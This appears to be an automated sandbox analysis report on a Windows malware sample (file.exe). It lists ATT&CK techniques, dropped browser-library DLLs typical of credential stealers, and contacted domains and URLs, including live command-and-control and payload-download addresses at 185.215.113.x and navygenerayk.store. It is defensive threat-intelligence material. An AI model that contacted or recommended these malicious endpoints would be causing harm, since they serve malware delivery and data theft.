Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	21 Deobfuscate/Decode Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	771 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	111 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	4%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://navygenerayk.store/e	100%	Avira URL Cloud	malware
https://navygenerayk.store/m	100%	Avira URL Cloud	malware
https://navygenerayk.store:443/apiK	100%	Avira URL Cloud	malware
http://185.215.113.43/fac00b58987e8e4f4b2846d934f48b15eaa495c49###E;	100%	Avira URL Cloud	malware
http://185.215.113.206E	0%	Avira URL Cloud	safe
http://185.215.113.206/746f34465cf17784/freebl3.dllY	100%	Avira URL Cloud	malware
http://185.215.113.206/uy	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exewv	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.php6001	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php/K	100%	Avira URL Cloud	phishing
http://185.215.113.43/ert	100%	Avira URL Cloud	malware
https://navygenerayk.store/-	100%	Avira URL Cloud	malware
http://185.215.113.206/746f34465cf17784/nss3.dll;	100%	Avira URL Cloud	malware
http://185.215.113.206/Local	100%	Avira URL Cloud	malware
https://navygenerayk.store/=	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exelencoded	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
svc.ms-acdc-teams.office.com	52.123.242.159	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	172.217.23.110	true	false	high
play.google.com	142.250.185.142	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.38	true	false	high
www.google.com	142.250.186.100	true	false	high
googlehosted.l.googleusercontent.com	172.217.16.129	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
navygenerayk.store	188.114.96.3	true	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
presticitpo.store	unknown	unknown	false	high
founpiuer.store	unknown	unknown	false	high
thumbystriw.store	unknown	unknown	false	high
necklacedmny.store	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
crisiwarny.store	unknown	unknown	false	high
fadehairucw.store	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
https://c.msn.com/c.gif?rnd=1731075672839&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a64231390e1f474ea5727bf3a8d188dd&activityId=a64231390e1f474ea5727bf3a8d188dd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
fadehairucw.store	false	high
http://185.215.113.206/6c4adf523b719729.php	false	high
https://navygenerayk.store/api	false	high
http://185.215.113.206/746f34465cf17784/softokn3.dll	false	high
founpiuer.store	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731075672838&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731075674913&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/746f34465cf17784/freebl3.dll	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
http://185.215.113.206/746f34465cf17784/mozglue.dll	false	high
http://185.215.113.206/746f34465cf17784/nss3.dll	false	high
https://sb.scorecardresearch.com/b2?rn=1731075672840&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DD296EDD8FB644F13F183DCD98E6569&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1626835728.0000000001A41000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286752317.0000000005C73000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286923813.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582686214.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navygenerayk.store/m	8407c5d8e2.exe, 0000001F.00000002.2530549611.0000000000C79000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2525581931.0000000000C79000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2526157395.0000000000C79000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2425037372.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1626835728.0000000001A41000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286752317.0000000005C73000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286923813.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582686214.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/.	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/-	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navygenerayk.store:443/apiK	8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E06000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/0	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navygenerayk.store/e	8407c5d8e2.exe, 0000001F.00000003.2406515378.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392695677.0000000000C80000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2409973853.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392137545.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://google-ohttp-relay-join.fastly-edge.com/7	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/fac00b58987e8e4f4b2846d934f48b15eaa495c49###E;	skotes.exe, 00000019.00000002.2697095566.0000000001326000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://anglebug.com/4633	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/5	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php6001	skotes.exe, 00000019.00000002.2697095566.000000000131D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://issuetracker.google.com/284462263	msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/?	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navygenerayk.store:443/api	8407c5d8e2.exe, 0000001B.00000003.2370004949.0000000001220000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2525082942.0000000000BF5000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000002.2530549611.0000000000BF5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	ef7349e1dc.exe, 00000021.00000002.2493407371.0000000001A45000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/A	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000003.00000003.1521346028.000024D800FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518797741.000024D800F18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519482610.000024D801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519026359.000024D8010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521964278.000024D80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518951741.000024D801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521897368.000024D801158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521299359.000024D800F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521273544.000024D800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521320558.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519385035.000024D800F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1536796395.000024D800DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/D	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/K	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/uy	ef7349e1dc.exe, 00000021.00000002.2493407371.0000000001A45000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.1518007041.000024D800DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518067635.000024D800E7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/746f34465cf17784/freebl3.dllY	file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://navygenerayk.store/M	8407c5d8e2.exe, 0000001F.00000003.2406515378.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.google.com/speech-api/v2/synthesize?	chrome.exe, 00000003.00000003.1519073694.000024D80108C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/N	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.1521964278.000024D80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521897368.000024D801158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206E	ef7349e1dc.exe, 00000021.00000002.2493407371.00000000019EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php/K	skotes.exe, 00000019.00000002.2697095566.0000000001326000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://google-ohttp-relay-join.fastly-edge.com/U	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000003.00000003.1538890832.000024D8013CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538148567.000024D801450000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/X	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/_	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navygenerayk.store/	8407c5d8e2.exe, 00000024.00000003.2646738530.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2596844258.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2581708360.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exewv	8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E06000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://anglebug.com/5281	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/b	chrome.exe, 00000003.00000003.1545051075.000024D801950000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1545011007.000024D80194C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/255411748	chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navygenerayk.store/-	8407c5d8e2.exe, 0000001F.00000003.2406515378.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000003.00000003.1513123122.000024D800398000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1513151700.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1512418878.000024D800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660526532.00002E5C00388000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/746f34465cf17784/nss3.dll;	file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chrome.google.com/webstore	chrome.exe, 00000003.00000003.1514422543.000024D800CB8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000002.1671869534.00002E5C0016C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/Local	ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001BF7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000003.00000003.1508304999.000024D8004A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	file.exe, 00000000.00000003.1946198929.00000000241CA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000003.00000003.1521346028.000024D800FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518797741.000024D800F18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519482610.000024D801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519026359.000024D8010CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521964278.000024D80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518951741.000024D801070000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521897368.000024D801158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521299359.000024D800F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521273544.000024D800CB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521320558.000024D8007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1519385035.000024D800F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1536796395.000024D800DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/ert	skotes.exe, 00000019.00000002.2697095566.0000000001326000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
